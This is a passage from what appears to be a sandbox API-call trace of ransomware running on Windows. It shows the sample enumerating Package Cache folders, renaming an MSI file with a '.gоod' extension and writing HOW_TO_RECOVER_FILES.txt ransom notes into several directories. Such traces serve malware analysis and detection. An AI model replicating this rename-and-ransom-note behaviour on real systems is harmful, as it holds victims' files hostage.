Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi", lpFilePart=0x0) returned 0x88 [0089.853] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.gоod", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.gоod", lpFilePart=0x0) returned 0x8d [0089.853] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c910) returned 1 [0089.853] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), fInfoLevelId=0x0, lpFileInformation=0x1f59c9f0 | out: lpFileInformation=0x1f59c9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x885c0100, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x885c0100, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x31c5c8c3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x23010)) returned 1 [0089.853] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c8d0) returned 1 [0089.853] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), lpNewFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.gоod" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi.gоod")) returned 1 [0089.853] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59c5f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x87 [0089.853] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59cb10) returned 1 [0089.854] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x778 [0089.855] GetFileType (hFile=0x778) returned 0x1 [0089.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59ca80) returned 1 [0089.856] GetFileType (hFile=0x778) returned 0x1 [0089.856] WriteFile (in: hFile=0x778, lpBuffer=0x3356f38*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59cbd8, lpOverlapped=0x0 | out: lpBuffer=0x3356f38*, lpNumberOfBytesWritten=0x1f59cbd8*=0x5d0, lpOverlapped=0x0) returned 1 [0089.857] CloseHandle (hObject=0x778) returned 1 [0089.857] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59d020, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x70 [0089.857] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d540) returned 1 [0089.857] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x778 [0089.858] GetFileType (hFile=0x778) returned 0x1 [0089.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4b0) returned 1 [0089.858] GetFileType (hFile=0x778) returned 0x1 [0089.858] WriteFile (in: hFile=0x778, lpBuffer=0x335a850*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59d608, lpOverlapped=0x0 | out: lpBuffer=0x335a850*, lpNumberOfBytesWritten=0x1f59d608*=0x5d0, lpOverlapped=0x0) returned 1 [0089.859] CloseHandle (hObject=0x778) returned 1 [0089.859] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x67 [0089.859] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0089.859] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x778 [0089.860] GetFileType (hFile=0x778) returned 0x1 [0089.860] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0089.860] GetFileType (hFile=0x778) returned 0x1 [0089.860] WriteFile (in: hFile=0x778, lpBuffer=0x335e138*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x335e138*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0089.861] CloseHandle (hObject=0x778) returned 1 [0089.861] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0089.862] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpFilePart=0x0) returned 0x4e [0089.862] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe5a20, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0090.431] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe5a20, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.913] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe636a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0090.914] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe636a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0090.914] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0090.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0090.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0090.914] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0090.914] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpFilePart=0x0) returned 0x4e [0090.914] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe5a20, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0090.914] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe5a20, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.914] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe636a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0090.915] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0090.915] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0090.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0090.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0090.915] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d5d0) returned 1 [0090.915] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages", nBufferLength=0x105, lpBuffer=0x1f59d070, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages", lpFilePart=0x0) returned 0x57 [0090.915] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*", lpFindFileData=0x1f59d2f0 | out: lpFindFileData=0x1f59d2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe636a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0090.915] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe636a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.916] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3030713, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf14644f, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0090.916] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3030713, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf14644f, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0090.916] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0090.916] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d510) returned 1 [0090.916] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4d0) returned 1 [0090.916] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d5d0) returned 1 [0090.916] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages", nBufferLength=0x105, lpBuffer=0x1f59d070, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages", lpFilePart=0x0) returned 0x57 [0090.916] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*", lpFindFileData=0x1f59d2f0 | out: lpFindFileData=0x1f59d2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe636a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0090.916] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe636a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.916] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3030713, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf14644f, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0090.917] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0090.917] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0090.917] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d510) returned 1 [0090.917] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4d0) returned 1 [0090.917] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59cba0) returned 1 [0090.917] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86", nBufferLength=0x105, lpBuffer=0x1f59c640, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86", lpFilePart=0x0) returned 0x6f [0090.917] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x1f59c8c0 | out: lpFindFileData=0x1f59c8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3030713, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf14644f, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0090.917] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3030713, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf14644f, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.918] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98d1a600, ftCreationTime.dwHighDateTime=0x1ced51c, ftLastAccessTime.dwLowDateTime=0x98d1a600, ftLastAccessTime.dwHighDateTime=0x1ced51c, ftLastWriteTime.dwLowDateTime=0x98d1a600, ftLastWriteTime.dwHighDateTime=0x1ced51c, nFileSizeHigh=0x0, nFileSizeLow=0x4ea418, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0090.918] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x565c9900, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x565c9900, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x565c9900, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0090.918] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0090.918] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0090.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59cae0) returned 1 [0090.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59caa0) returned 1 [0090.918] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59cba0) returned 1 [0090.918] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86", nBufferLength=0x105, lpBuffer=0x1f59c640, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86", lpFilePart=0x0) returned 0x6f [0090.918] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x1f59c8c0 | out: lpFindFileData=0x1f59c8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3030713, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf14644f, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0090.918] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3030713, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf14644f, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.919] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98d1a600, ftCreationTime.dwHighDateTime=0x1ced51c, ftLastAccessTime.dwLowDateTime=0x98d1a600, ftLastAccessTime.dwHighDateTime=0x1ced51c, ftLastWriteTime.dwLowDateTime=0x98d1a600, ftLastWriteTime.dwHighDateTime=0x1ced51c, nFileSizeHigh=0x0, nFileSizeLow=0x4ea418, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0090.919] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x565c9900, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x565c9900, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x565c9900, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0090.919] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x565c9900, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x565c9900, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x565c9900, 